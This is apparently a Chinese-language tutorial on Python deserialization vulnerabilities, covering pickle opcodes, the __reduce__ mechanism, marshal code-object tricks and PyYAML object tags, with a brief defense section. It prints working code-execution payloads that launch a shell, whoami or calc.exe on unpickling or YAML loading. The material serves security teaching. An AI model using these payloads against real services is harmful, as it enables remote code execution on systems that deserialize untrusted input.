Python反序列化漏洞分析
字数 1767 2025-08-29 08:32:01
Python反序列化漏洞分析与利用
1. Python序列化与反序列化基础
Python的序列化和反序列化是将一个类对象向字节流转化从而进行存储和传输,然后使用的时候再将字节流转化回原始对象的过程。Python中主要有两种序列化方式:
- pickle模块:Python特有的序列化格式
- json模块:通用的JSON格式
1.1 pickle模块基本操作
pickle模块提供四种主要操作方法:
| 函数 | 说明 |
|---|---|
| dump | 对象序列化到文件对象并存入文件 |
| dumps | 对象序列化为bytes对象 |
| load | 对象反序列化并从文件中读取数据 |
| loads | 从bytes对象反序列化 |
1.2 简单使用示例
序列化操作:
import pickle
class Demo():
def __init__(self, name='h3rmesk1t'):
self.name = name
print(pickle.dumps(Demo()))
反序列化操作:
import pickle
class Demo():
def __init__(self, name='h3rmesk1t'):
self.name = name
print('[+] 序列化')
print(pickle.dumps(Demo()))
print('[+] 反序列化')
print(pickle.loads(pickle.dumps(Demo())).name)
2. PVM (Python虚拟机)解析
2.1 PVM组成结构
PVM由三个核心部分组成:
- 指令处理器:读取opcode和参数并解释处理,直到遇到结束符
. - 栈区(stack):Python list实现,用于临时存储数据、参数和对象
- 标签区(memo):Python dict实现,为PVM提供存储功能
2.2 pickle协议版本
当前用于pickling的协议共有6种:
| 版本 | 说明 |
|---|---|
| v0 | 原始"人类可读"协议,兼容早期Python |
| v1 | 较早的二进制格式,兼容早期Python |
| v2 | Python 2.3引入,优化new-style class存储 |
| v3 | Python 3.0添加,支持bytes对象 |
| v4 | Python 3.4添加,支持大对象和更多数据类型 |
| v5 | Python 3.8添加,支持带外数据 |
2.3 关键操作码
部分重要的pickle操作码:
MARK = b'(' # 压入特殊标记对象到栈
STOP = b'.' # 结束pickle
POP = b'0' # 丢弃栈顶项
REDUCE = b'R' # 应用可调用对象到参数元组
GLOBAL = b'c' # 压入self.find_class(modname, name)
DICT = b'd' # 从栈项构建字典
BUILD = b'b' # 调用__setstate__或__dict__.update
3. Python反序列化漏洞原理
3.1 漏洞核心机制
反序列化漏洞的核心在于__reduce__()魔术方法,它在反序列化时会自动调用,类似于PHP的__wakeup()方法。
__reduce__()返回值规则:
- 返回字符串:查找当前作用域中对应名字的对象并序列化
- 返回元组(2-6个参数):
- 第一个参数:可调用对象
- 第二个参数:该对象所需的参数元组
- 第三个参数(可选):对象状态
- 第四个参数(可选):连续项的迭代器
- 第五个参数(可选):连续键值对的迭代器
- 第六个参数(可选):带有(obj, state)签名的可调用对象
3.2 基本Payload构造
import os
import pickle
class Demo(object):
def __reduce__(self):
shell = '/bin/sh'
return (os.system,(shell,))
demo = Demo()
pickle.loads(pickle.dumps(demo))
对应的字节码模式:
c<module>
<callable>
(<args>
tR.
示例字节码解析:
cos # 引入模块os
system # 引用system并添加到stack
(S'whoami' # 存当前stack到metastack,清空stack,压入'whoami'
t # stack值弹出转tuple,还原metastack,压入tuple
R # system(*('whoami',))
. # 结束返回栈顶元素
4. 高级利用技术
4.1 Marshal反序列化
由于pickle无法序列化code对象,Python 2.6+使用marshal模块处理code对象序列化。
import base64
import marshal
def demo():
import os
os.system('/bin/sh')
code_serialized = base64.b64encode(marshal.dumps(demo.__code__))
print(code_serialized)
完整Payload模板:
import base64
import pickle
import marshal
def foo():
import os
os.system('whoami;/bin/sh')
shell = """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(foo.__code__))
print(pickle.loads(shell))
4.2 PyYAML反序列化
漏洞点:yaml/constructor.py中的三个特殊Python标签:
!!python/object!!python/object/new!!python/object/apply
Payload示例(PyYaml < 5.1):
!!python/object/apply:os.system ["calc.exe"]
!!python/object/new:os.system ["calc.exe"]
!!python/object/new:subprocess.check_output [["calc.exe"]]
!!python/object/apply:subprocess.check_output [["calc.exe"]]
Payload示例(PyYaml >= 5.1):
from yaml import *
data = b"""!!python/object/apply:subprocess.Popen
- calc"""
deserialized_data = load(data, Loader=Loader)
5. 防御措施
- 替代方案:使用更高级接口如
__getnewargs()、__getstate__()、__setstate__()代替__reduce__() - 严格过滤:反序列化前进行严格过滤,可使用装饰器实现
- 安全配置:避免使用不安全的反序列化方法,如PyYAML的
unsafe_load
6. 漏洞常见出现场景
- 解析认证token、session时(使用redis、mongodb等存储session)
- 对象Pickle后存储为磁盘文件
- 对象Pickle后在网络中传输